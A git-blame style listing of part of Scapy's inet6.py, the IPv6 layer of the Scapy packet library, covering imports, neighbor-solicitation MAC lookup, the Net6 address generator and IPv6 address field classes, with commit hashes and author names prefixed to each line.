1c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#! /usr/bin/env python
2c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
4614f54fc4b269030ba2934b6c353fb43de886e04Phil## inet6.py --- IPv6 support for Scapy                                     ##
5614f54fc4b269030ba2934b6c353fb43de886e04Phil##              see http://natisbad.org/IPv6/                              ##
6614f54fc4b269030ba2934b6c353fb43de886e04Phil##              for more informations                                      ##
7c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
8c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## Copyright (C) 2005  Guillaume Valadon <guedou@hongo.wide.ad.jp>         ##
9c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                     Arnaud Ebalard <arnaud.ebalard@eads.net>            ##
10c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
11c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## This program is free software; you can redistribute it and/or modify it ##
12c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## under the terms of the GNU General Public License version 2 as          ##
13614f54fc4b269030ba2934b6c353fb43de886e04Phil## published by the Free Software Foundation.                              ##
14c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
15c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## This program is distributed in the hope that it will be useful, but     ##
16c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## WITHOUT ANY WARRANTY; without even the implied warranty of              ##
17c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU       ##
18c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## General Public License for more details.                                ##
19c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
20c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
21c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
220ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss"""
230ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk LossIPv6 (Internet Protocol v6).
240ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss"""
250ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss
26614f54fc4b269030ba2934b6c353fb43de886e04Phil
2722a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotterfrom __future__ import absolute_import
28b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotterfrom __future__ import print_function
290aeb049606bee9335e62afea58479915bd6e2344Pierre LALET
300aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom hashlib import md5
316057906368d55634d11e1d19a5cca1f127595b11Robin Jarryimport random
320aeb049606bee9335e62afea58479915bd6e2344Pierre LALETimport re
33d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilimport socket
340aeb049606bee9335e62afea58479915bd6e2344Pierre LALETimport struct
350aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom time import gmtime, strftime
360aeb049606bee9335e62afea58479915bd6e2344Pierre LALET
3722a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotterimport scapy.modules.six as six
38cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALETfrom scapy.modules.six.moves import range, zip
39d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilif not socket.has_ipv6:
40d7dd2222e18718ea755fe780e8ef422901ba5b0bPhil    raise socket.error("can't use AF_INET6, IPv6 is disabled")
4181dfaee354bef2beea581a3c83a33c856ade45e5Dirk Lossif not hasattr(socket, "IPPROTO_IPV6"):
4281dfaee354bef2beea581a3c83a33c856ade45e5Dirk Loss    # Workaround for http://bugs.python.org/issue6926
4381dfaee354bef2beea581a3c83a33c856ade45e5Dirk Loss    socket.IPPROTO_IPV6 = 41
4403f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulkaif not hasattr(socket, "IPPROTO_IPIP"):
4503f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulka    # Workaround for https://bitbucket.org/secdev/scapy/issue/5119
4603f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulka    socket.IPPROTO_IPIP = 4
47d7dd2222e18718ea755fe780e8ef422901ba5b0bPhil
480aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.arch import get_if_hwaddr
49d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilfrom scapy.config import conf
500aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.base_classes import Gen
510aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.data import DLT_IPV6, DLT_RAW, DLT_RAW_ALT, ETHER_ANY, ETH_P_IPV6, \
520aeb049606bee9335e62afea58479915bd6e2344Pierre LALET    MTU
530aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.compat import chb, orb, raw, plain_str
5407dedfded9ae364ba246be402ebf7b4d2670153bgpotterimport scapy.consts
550aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \
560aeb049606bee9335e62afea58479915bd6e2344Pierre LALET    DestField, Field, FieldLenField, FlagsField, IntField, LongField, \
570aeb049606bee9335e62afea58479915bd6e2344Pierre LALET    MACField, PacketLenField, PacketListField, ShortEnumField, ShortField, \
580aeb049606bee9335e62afea58479915bd6e2344Pierre LALET    StrField, StrFixedLenField, StrLenField, X3BytesField, XBitField, \
590aeb049606bee9335e62afea58479915bd6e2344Pierre LALET    XIntField, XShortField
600aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.packet import bind_layers, Packet, Raw
610aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.volatile import RandInt, RandIP6, RandShort
620aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.sendrecv import sendp, sniff, sr, srp1
63614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.as_resolvers import AS_resolver_riswhois
640aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.supersocket import SuperSocket, L3RawSocket
650aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.utils6 import in6_6to4ExtractAddr, in6_and, in6_cidr2mask, \
660aeb049606bee9335e62afea58479915bd6e2344Pierre LALET    in6_getnsma, in6_getnsmac, in6_isaddr6to4, in6_isaddrllallnodes, \
670aeb049606bee9335e62afea58479915bd6e2344Pierre LALET    in6_isaddrllallservers, in6_isaddrTeredo, in6_isllsnmaddr, in6_ismaddr, \
680aeb049606bee9335e62afea58479915bd6e2344Pierre LALET    in6_ptop, teredoAddrExtractInfo
690aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.layers.l2 import CookedLinux, Ether, GRE, Loopback, SNAP
700aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.layers.inet import IP, IPTools, TCP, TCPerror, TracerouteResult, \
710aeb049606bee9335e62afea58479915bd6e2344Pierre LALET    UDP, UDPerror
720aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.utils import checksum, inet_pton, inet_ntop, strxor
736057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.error import warning
748d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarryif conf.route6 is None:
758d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarry    # unused import, only to initialize conf.route6
768d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarry    import scapy.route6
77c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
78c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
79c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
80c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Helpers                                                                  ##
81c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
82c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
83c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef get_cls(name, fallback_cls):
84614f54fc4b269030ba2934b6c353fb43de886e04Phil    return globals().get(name, fallback_cls)
85c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
86c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
87c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##########################
88c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## Neighbor cache stuff ##
89c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##########################
90c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
91f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Philconf.netcache.new_cache("in6_neighbor", 120)
92c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
93caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
94c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef neighsol(addr, src, iface, timeout=1, chainCC=0):
95caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr
96caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
97caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    'src' address is used as source of the message. Message is sent on iface.
98caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    By default, timeout waiting for an answer is 1 second.
99c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1000d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    If no answer is gathered, None is returned. Else, the answer is
101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    returned (ethernet frame).
102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr))
105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    d = inet_ntop(socket.AF_INET6, nsma)
106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    dm = in6_getnsmac(nsma)
107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p = Ether(dst=dm)/IPv6(dst=d, src=src, hlim=255)
108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p /= ICMPv6ND_NS(tgt=addr)
109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface))
1100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    res = srp1(p,type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0,
1110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               chainCC=chainCC)
112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
113c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return res
114c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
115caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef getmacbyip6(ip6, chainCC=0):
117caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Returns the MAC address corresponding to an IPv6 address
118caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    neighborCache.get() method is used on instantiated neighbor cache.
120c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Resolution mechanism is described in associated doc string.
121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    (chainCC parameter value ends up being passed to sending function
123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil     used to perform the resolution, if needed)
124c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
125bb7e8d7b4a6fe4a6d71c6d3b77898618d5286100gpotter
126adc65770503b25e381492d1c4eb47cae8f722652gpotter    if isinstance(ip6, Net6):
127d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter        ip6 = str(ip6)
128f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
1290d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if in6_ismaddr(ip6): # Multicast
130f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6))
131f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        return mac
132f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
1337139f0150bfd006ab76b64a0aefbf2de2fc35443Robin Jarry    iff,a,nh = conf.route6.route(ip6)
134f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
13507dedfded9ae364ba246be402ebf7b4d2670153bgpotter    if iff == scapy.consts.LOOPBACK_INTERFACE:
13607dedfded9ae364ba246be402ebf7b4d2670153bgpotter        return "ff:ff:ff:ff:ff:ff"
137f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
1380d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if nh != '::':
139f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        ip6 = nh # Found next hop
140f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
141f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    mac = conf.netcache.in6_neighbor.get(ip6)
142f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    if mac:
143f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        return mac
144f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
145f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    res = neighsol(ip6, a, iff, chainCC=chainCC)
146f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
147f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    if res is not None:
148429082158fc01432c9d5e4a3de775f7a6e07a021Guillaume Valadon        if ICMPv6NDOptDstLLAddr in res:
1490d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            mac = res[ICMPv6NDOptDstLLAddr].lladdr
1500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        else:
1510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            mac = res.src
152f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        conf.netcache.in6_neighbor[ip6] = mac
153f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        return mac
154f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
155f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    return None
156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
158c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
159c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
160c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###              IPv6 addresses manipulation routines                     ###
161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Net6(Gen): # syntax ex. fec0::/126
165c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """Generate a list of IPv6s from a network address or a name"""
166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ipv6"
16747bf4c47b9b2668a1b82c19078147708512e99edgpotter    ip_regex = re.compile(r"^([a-fA-F0-9:]+)(/[1]?[0-3]?[0-9])?$")
168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, net):
170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.repr = net
171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        tmp = net.split('/')+["128"]
17347bf4c47b9b2668a1b82c19078147708512e99edgpotter        if not self.ip_regex.match(net):
174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp[0]=socket.getaddrinfo(tmp[0], None, socket.AF_INET6)[0][-1][0]
175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        netmask = int(tmp[1])
17777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        self.net = inet_pton(socket.AF_INET6, tmp[0])
178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.mask = in6_cidr2mask(netmask)
17977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        self.plen = netmask
180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __iter__(self):
182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
183cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET        def parse_digit(value, netmask):
184cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET            netmask = min(8, max(netmask, 0))
185cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET            value = int(value)
186cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET            return (value & (0xff << netmask),
187cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET                    (value | (0xff >> (8 - netmask))) + 1)
1880d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
189cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET        self.parsed = [
190cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET            parse_digit(x, y) for x, y in zip(
191cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET                struct.unpack("16B", in6_and(self.net, self.mask)),
192cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET                (x - self.plen for x in range(8, 129, 8)),
193cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET            )
194cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET        ]
195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1960d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        def rec(n, l):
197cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET            sep = ':' if n and  n % 2 == 0 else ''
198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if n == 16:
19977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return l
200cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET            return rec(n + 1, [y + sep + '%.2x' % i
201cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET                               # faster than '%s%s%.2x' % (y, sep, i)
202cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET                               for i in range(*self.parsed[n])
203cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET                               for y in l])
204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return iter(rec(0, ['']))
206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
207f317c6504219a427117ccd94e8a11063e0b376adgpotter    def __str__(self):
208a3618a09887e39536009036d2e88341c61d4d385gpotter        try:
209a3618a09887e39536009036d2e88341c61d4d385gpotter            return next(self.__iter__())
210a3618a09887e39536009036d2e88341c61d4d385gpotter        except StopIteration:
211a3618a09887e39536009036d2e88341c61d4d385gpotter            return None
212a3618a09887e39536009036d2e88341c61d4d385gpotter
213a3618a09887e39536009036d2e88341c61d4d385gpotter    def __eq__(self, other):
214a3618a09887e39536009036d2e88341c61d4d385gpotter        return str(other) == str(self)
215a3618a09887e39536009036d2e88341c61d4d385gpotter
216a3618a09887e39536009036d2e88341c61d4d385gpotter    def __ne__(self, other):
217a3618a09887e39536009036d2e88341c61d4d385gpotter        return str(other) != str(self)
218f317c6504219a427117ccd94e8a11063e0b376adgpotter
219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __repr__(self):
220ce8d785c61d45928cc6da340beee91d32569d20dPierre LALET        return "Net6(%r)" % self.repr
221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                              IPv6 Class                               ###
230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IP6Field(Field):
234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default):
235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        Field.__init__(self, name, default, "16s")
236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def h2i(self, pkt, x):
237d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if isinstance(x, str):
238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
23977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                x = in6_ptop(x)
240c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except socket.error:
241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = Net6(x)
242d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        elif isinstance(x, list):
24305dc450e1f3b4240f3cca288b1208cb7e8949938Guillaume Valadon            x = [Net6(a) for a in x]
244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return x
245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
2465e8857410015a93f6371459b2f870432ded39b9fgpotter        return inet_pton(socket.AF_INET6, plain_str(x))
247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def m2i(self, pkt, x):
248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return inet_ntop(socket.AF_INET6, x)
249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def any2i(self, pkt, x):
250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.h2i(pkt,x)
251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
25377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            return self.i2h(pkt,x)
254d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        elif not isinstance(x, Net6) and not isinstance(x, list):
25577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if in6_isaddrTeredo(x):   # print Teredo info
2560aeb049606bee9335e62afea58479915bd6e2344Pierre LALET                server, _, maddr, mport = teredoAddrExtractInfo(x)
25777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr,mport)
25877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            elif in6_isaddr6to4(x):   # print encapsulated address
259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                vaddr = in6_6to4ExtractAddr(x)
26077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr)
26177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return self.i2h(pkt, x)       # No specific information to return
26251db482d4ed62a5eb7b70c0c4f7a3954d41b6165Phil    def randval(self):
26351db482d4ed62a5eb7b70c0c4f7a3954d41b6165Phil        return RandIP6()
264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass SourceIP6Field(IP6Field):
266b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["dstname"]
267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, dstname):
268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        IP6Field.__init__(self, name, None)
269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.dstname = dstname
270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            dst=getattr(pkt,self.dstname)
273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            iff,x,nh = conf.route6.route(dst)
274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return IP6Field.i2m(self, pkt, x)
275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2h(self, pkt, x):
276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
27739b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET            if conf.route6 is None:
27839b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                # unused import, only to initialize conf.route6
27939b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                import scapy.route6
28039b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET            dst = ("::" if self.dstname is None else getattr(pkt, self.dstname))
28139b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET            if isinstance(dst, (Gen, list)):
28239b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                r = {conf.route6.route(daddr) for daddr in dst}
28339b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                if len(r) > 1:
28439b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                    warning("More than one possible route for %r" % (dst,))
28539b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                x = min(r)[1]
286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
28739b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                x = conf.route6.route(dst)[1]
288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return IP6Field.i2h(self, pkt, x)
289c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2904ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALETclass DestIP6Field(IP6Field, DestField):
2914ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALET    bindings = {}
292104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET    def __init__(self, name, default):
293104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        IP6Field.__init__(self, name, None)
2944ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALET        DestField.__init__(self, name, default)
295104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET    def i2m(self, pkt, x):
296104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        if x is None:
297104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET            x = self.dst_from_pkt(pkt)
298104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        return IP6Field.i2m(self, pkt, x)
299104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET    def i2h(self, pkt, x):
300104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        if x is None:
301104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET            x = self.dst_from_pkt(pkt)
302104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        return IP6Field.i2h(self, pkt, x)
303104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET
304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilipv6nh = { 0:"Hop-by-Hop Option Header",
305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           4:"IP",
306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           6:"TCP",
307c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          17:"UDP",
308c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          41:"IPv6",
309c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          43:"Routing Header",
310c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          44:"Fragment Header",
311c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          47:"GRE",
312c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          50:"ESP Header",
313c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          51:"AH Header",
314c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          58:"ICMPv6",
315c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          59:"No Next Header",
316c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          60:"Destination Option Header",
317caab83b26dc3a90b1f5623acae16815ffaa1e1f6gpotter         112:"VRRP",
